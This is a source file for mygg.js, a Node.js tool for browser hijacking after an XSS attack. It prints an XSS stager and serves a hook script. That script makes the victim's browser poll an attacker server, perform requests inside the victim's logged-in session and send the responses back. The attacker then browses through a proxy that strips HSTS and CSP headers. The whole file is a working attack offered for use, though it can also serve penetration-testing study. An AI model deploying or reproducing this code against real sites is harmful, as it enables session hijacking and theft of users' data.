-
Notifications
You must be signed in to change notification settings - Fork 6
/
mygg.js
371 lines (318 loc) · 13.9 KB
/
mygg.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
/* --------- Info --------- */
// mygg.js v0.3.3.1
// Author: Daniel Solstad
// Repository: https://github.com/dsolstad/mygg.js
/* --------- Configuration --------- */
// The only thing you really need to change is the domain parameter.
// If you don't have a domain, change domain to the ipaddr of the server hosting mygg.js.
// If mygg is running on a remote server, either leave proxy_interface at 127.0.0.1 and use ssh+portforwarding,
// or bind it to 0.0.0.0 and put your remote addr in proxy_allowed_ips.
const config = {
domain: 'example.com',
http_interface: '0.0.0.0',
https_interface: '0.0.0.0',
http_port: 80,
https_port: 443,
polling_time: 2000,
key: './key.pem',
cert: './cert.pem',
debug: 0,
proxy_interface: '127.0.0.1',
proxy_port: 8081,
proxy_allowed_ips: ['127.0.0.1'],
}
/* --------- Requires --------- */
const http = require('http');
const https = require('https');
const proxy = require('http');
const fs = require('fs');
const util = require('util');
const Busboy = require('busboy');
const { spawn } = require('child_process');
/* --------- Global variables --------- */
var tasks_pending = [];
var task_callbacks = {};
var task_counter = 0;
/* --------- The HTTP proxy server that the attacker uses --------- */
proxy.createServer(function (req, res) {
/* Checks if the client is allowed. */
var client_ipaddr = req.connection.remoteAddress;
if (config.proxy_allowed_ips.indexOf(client_ipaddr) === -1) {
console.log(`[+] Denied client ${client_ipaddr} to connect to proxy`);
res.writeHead(403);
res.end();
return;
}
console.log(`[+] Whitelisted client ${client_ipaddr} connected to proxy`);
console.log(`[+] Requesting: ${req.method} ${req.url}`);
/* Get the full requested URL. */
/*var urlObj = new URL(req.url);
var url = urlObj.pathname;
if (urlObj.searchParams != '') {
url = url + '?' + urlObj.searchParams;
}*/
/* Check if request from proxy/attacker contains a body. */
if (req.headers['content-length'] > 0) {
var data = [];
req.on('data', function (chunk) {
data.push(chunk);
});
req.on('end', function () {
/* Sends a task to the hooked browser. */
var buffer = Buffer.concat(data);
var body = buffer.toString('utf8');
var new_task = {"id": task_counter++, "method": req.method, "url": req.url, "headers": req.headers, "body": body}
tasks_pending.push(new_task);
/* Handles the response from the task given to the hooked browser. */
task_callbacks[new_task.id] = function (result) {
var headers = result.headers;
var headers = str2json(headers);
var headers = stripHeaders(headers);
var content_type = (headers['content-type']? headers['content-type'] : 'plain/text');
/* If the received content type is binary, we need to present it as such.
If is it text, we need to process it before being displayed in the attacking browser. */
if (content_type.match(/image|octet-stream/)) {
var body = result.body;
} else {
var body = result.body.toString('utf8');
var body = stripHooks(body);
var body = https2http(body);
}
var body_length = body.length;
var headers = updateContentLength(headers, body_length);
console.log("[+] Received status: " + result.status);
if (config.debug) { console.log("[+] Received headers:\n"); console.log(headers); }
if (config.debug) { console.log("[+] Received body:\n" + body); }
console.log("[+] -------------------------------- [+]");
// Need to convert status code to a valid one.
if (result.status == '0') {
res.writeHead(404);
} else {
res.writeHead(result.status, headers);
}
res.end(body);
};
});
} else {
/* Sends a task to the hooked browser. */
var new_task = {"id": task_counter++, "method": req.method, "url": req.url, "headers": req.headers, "body": null}
tasks_pending.push(new_task);
/* Handles the response from the task given to the hooked browser. */
task_callbacks[new_task.id] = function (result) {
var headers = result.headers;
var headers = str2json(headers);
var headers = stripHeaders(headers);
var content_type = (headers['content-type']? headers['content-type'] : 'plain/text');
/* If the received content type is binary, we need to present it as such.
If is it text, we need to process it before being displayed in the attacking browser. */
if (content_type.match(/image|octet-stream/)) {
var body = result.body;
} else {
var body = result.body.toString('utf8');
var body = stripHooks(body);
var body = https2http(body);
}
var body_length = body.length;
var headers = updateContentLength(headers, body_length);
console.log("[+] Received status: " + result.status);
if (config.debug) { console.log("[+] Received headers:\n"); console.log(headers); }
if (config.debug) { console.log("[+] Received body:\n" + body); }
console.log("[+] -------------------------------- [+]");
// Need to convert status code to a valid one.
if (result.status == '0') {
res.writeHead(404);
} else {
res.writeHead(result.status, headers);
}
res.end(body);
};
}
}).listen(config.proxy_port, config.proxy_interface, function (err) {
if (err) return console.error(err)
var info = this.address()
console.log(`[+] Proxy server listening on address ${info.address} port ${info.port}`)
});
/* --------- HTTP and HTTPS server for serving hook.js, polling and receiving requests --------- */
http_handler = function(req, res) {
var ipaddr = req.connection.remoteAddress;
var useragent = req.headers['user-agent'];
var referer = req.headers['referer'];
/* Serves the hook file */
if (req.url == '/hook.js') {
res.writeHead(200, {"Content-Type": "application/javascript"});
res.end(hook_file);
console.log("[+] Hooked new browser [" + ipaddr + "][" + useragent + '][' + referer + ']');
/* Hooked browser asks mygg if there are any new jobs for it */
} else if (req.url == '/polling') {
res.setHeader('Access-Control-Allow-Origin', '*');
res.setHeader('Access-Control-Allow-Headers', '*');
res.setHeader('Content-Type', 'application/json');
if (tasks_pending.length > 0) {
data = JSON.stringify(tasks_pending);
if (config.debug) {
console.log("[+] Tasks pending"); console.log(data);
console.log("[+] -------------------------------- [+]");
}
res.writeHead(200);
res.end(data);
tasks_pending = []
} else {
res.writeHead(404)
res.end();
}
/* Catching the performed requests from the hooked browser */
} else if (req.url == '/responses' && req.method == 'POST') {
var busboy = Busboy({ headers: req.headers });
var response = {};
busboy.on('file', function(fieldname, file, filename, encoding, mimetype) {
response[fieldname] = [];
//console.log('File [' + fieldname + ']: filename: ' + filename + ', encoding: ' + encoding + ', mimetype: ' + mimetype);
file.on('data', function(data) {
//console.log('File [' + fieldname + '] got ' + data.length + ' bytes');
response[fieldname].push(data);
});
file.on('end', function() {
//console.log('File [' + fieldname + '] Finished');
response[fieldname] = Buffer.concat(response[fieldname]);
});
});
busboy.on('field', function(fieldname, val, fieldnameTruncated, valTruncated, encoding, mimetype) {
//console.log('Field [' + fieldname + ']: value: ' + util.inspect(val));
response[fieldname] = val;
});
busboy.on('finish', function() {
// Runs the callback for the associated request ID
var handler = task_callbacks[response['id']];
handler(response);
res.writeHead(200, { Connection: 'close' });
res.end();
});
req.pipe(busboy);
} else {
res.writeHead(404);
res.end();
}
};
/* Start HTTP Server */
http.createServer(http_handler).listen(config.http_port, config.http_interface, function(err) {
if (err) return console.error(err)
var info = this.address()
console.log(`[+] HTTP server listening on address ${info.address} port ${info.port}`)
});
/* Generate key and self-signed certificate. */
const shell = spawn('openssl', 'req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes -subj /CN=localhost'.split(" "));
/* Read key and cert before starting HTTPS Server. */
shell.on('close', function (code) {
https_options = { key: fs.readFileSync(config.key), cert: fs.readFileSync(config.cert) };
https.createServer(https_options, http_handler).listen(config.https_port, config.https_interface, function(err) {
if (err) return console.error(err)
var info = this.address()
console.log(`[+] HTTPS server listening on address ${info.address} port ${info.port}`)
});
});
/* --------- Helper functions --------- */
/* Removes unwanted headers, such as HSTS and CSP. */
function stripHeaders(headers) {
delete headers['strict-transport-security'];
delete headers['content-security-policy'];
delete headers['content-encoding'];
delete headers['content-length'];
return headers;
}
/* Strips complete URLs with hook.js to "javascript", which will be ignored. */
function stripHooks(body) {
return body.replace(/src=["']https?:\/\/[^\/]*?\/hook\.js/g, "src='javascript:#");
}
/* Convert links in the body from https to http. */
function https2http(body) {
return body.toString().replace(/https\:\/\//g, "http://");
}
/* Sets the content-length header. */
function updateContentLength(headers, new_length) {
headers['Content-Length'] = new_length;
return headers;
}
/* Converts a string to JSON. */
function str2json(headers) {
var arr = headers.trim().split(/[\r\n]+/);
var header_map = {};
arr.forEach(function (line) {
var parts = line.split(': ');
var header = parts.shift().toLowerCase();
var value = parts.join('');
header_map[header] = value;
});
return header_map;
}
/* --------- Payload stager that downloads mygg --------- */
var hook = `<svg/onload="var x=document.createElement('script');\
x.src='//${config.domain}:${config.https_port}/hook.js';document.head.appendChild(x);">`
console.log("[+] Payload stager:\r\n" + hook + "\r\n");
/* --------- The mygg.js payload --------- */
var hook_file = `
function makeRequest(id, method, url, head, body) {
/* Forcing the hooked browser to perform the request. */
var target_http = new XMLHttpRequest();
target_http.responseType = 'blob';
target_http.onreadystatechange = function() {
/* Sending the response back to mygg. */
if (target_http.readyState == 4) {
var formData = new FormData();
formData.append('id', id);
formData.append('method', method);
formData.append('url', url);
/* Ugly hack for old browser's that doesn't support responseURL */
responseURL = (target_http.responseURL? target_http.responseURL : url);
/* Checking if the browser got a redirect. */
if (stripProt(url) == stripProt(responseURL)) {
formData.append('status', target_http.status);
formData.append('headers', target_http.getAllResponseHeaders());
var blob = new Blob([target_http.response], {type: 'application/octet-stream'});
formData.append('body', blob);
} else {
/* Need to redirect the attacking browser too. */
formData.append('status', '301');
formData.append('headers', "Location: " + target_http.responseURL);
}
var mygg_http = new XMLHttpRequest();
mygg_http.open("POST", "//${config.domain}:" + getPort() + "/responses", true);
mygg_http.send(formData);
}
};
target_http.open(method, url, true);
//for (var key in head) { target_http.setRequestHeader(key, head[key]) }
if (body) {
// Need to add some headers sent from the attacking browser
target_http.setRequestHeader('content-type', head['content-type']);
target_http.send(body.trim());
} else {
target_http.send();
}
}
function stripProt(url) {
return url.split('://').splice(1).join('/');
}
function getPath(url) {
return '/' + url.split('/').splice(3).join('/');
}
function getPort() {
var ports = {'http': ${config.http_port}, 'https': ${config.https_port}};
return ports[location.protocol.slice(0, -1)];
}
function poll() {
var mygg_http = new XMLHttpRequest();
mygg_http.onreadystatechange = function () {
if (mygg_http.readyState == 4 && mygg_http.status == 200) {
var tasks = JSON.parse(mygg_http.responseText);
for (var i in tasks){
console.log("New task"); console.log(tasks[i]);
makeRequest(tasks[i].id, tasks[i].method, tasks[i].url, tasks[i].headers, tasks[i].body);
}
}
};
mygg_http.open("GET", "//${config.domain}:" + getPort() + "/polling", true);
mygg_http.send();
setTimeout(poll, ${config.polling_time});
}
poll();
`;